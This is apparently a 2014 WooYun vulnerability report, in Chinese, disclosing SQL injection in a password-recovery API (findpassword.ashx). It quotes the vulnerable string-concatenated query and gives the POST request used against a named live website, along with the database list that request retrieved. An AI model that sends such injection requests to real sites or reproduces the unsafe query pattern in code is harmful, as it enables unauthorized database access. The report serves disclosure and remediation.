漏洞详情

披露状态:

2014-01-10: 细节已通知厂商并且等待厂商处理中
2014-01-14: 厂商已经确认,细节仅向厂商公开
2014-01-17: 细节向第三方安全合作伙伴开放
2014-01-24: 细节向核心白帽子及相关领域专家公开
2014-02-03: 细节向普通白帽子公开
2014-02-23: 细节向实习白帽子公开
2014-04-10: 细节向公众公开

简要描述:

据说通用的,来看看。

详细说明:

不知道前面的大哥有提交了没有,下了免费版的来看。某个API存在注入的问题

漏洞证明:

Api/User/findpassword.ashx

var u_account = context.Request.Form["username"];
var find_type = context.Request.Form["findtype"];
var find_question = context.Request.Form["find_qus"];
var find_answer = context.Request.Form["find_answer"];
DataManage.UserEng ung = new DataManage.UserEng();
var _user_ = ung.GetItem(u_account);



u_account参数未过滤(就是username),直接带入到了ung.GetItem中:
public Apw_User GetItem(string account)
{
return this.dataserver.GetAll<Apw_User>("select * from Apw_User where u_Account='" + account.Trim() + "'").FirstOrDefault<Apw_User>();
}





拼接的字符串导致了POST+字符型注入的产生:

以 http://www.12wan.com/api/user/findpassword.ashx 为例(因为官方的站点我好像没找到用这个的……测试站也不知道是哪个)

POST数据:

posttype=find_pwd1&username=a&findtype=email&find_qus=%E4%BD%A0%E7%88%B6%E4%BA%B2%E7%9A%84%E5%90%8D%E5%AD%97&find_answer=

20140110184544.jpg



获取到数据库:

available databases [10]

[*] bbs

[*] cd2

[*] master

[*] model

[*] msdb

[*] ReportServer

[*] ReportServerTempDB

[*] tempdb

[*] v32

[*] xy003



其它就不深入了

修复方案:

过滤参数。

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-01-14 11:51

厂商回复:

已经认领 这个系统是老版本系统 公开前会被淘汰 但是非常感激提出漏洞的白帽子们 已经联系乌云官方 准备做次活动 具体请留意官方公告 再次感谢 礼物已送

最新状态:

暂无


漏洞评价: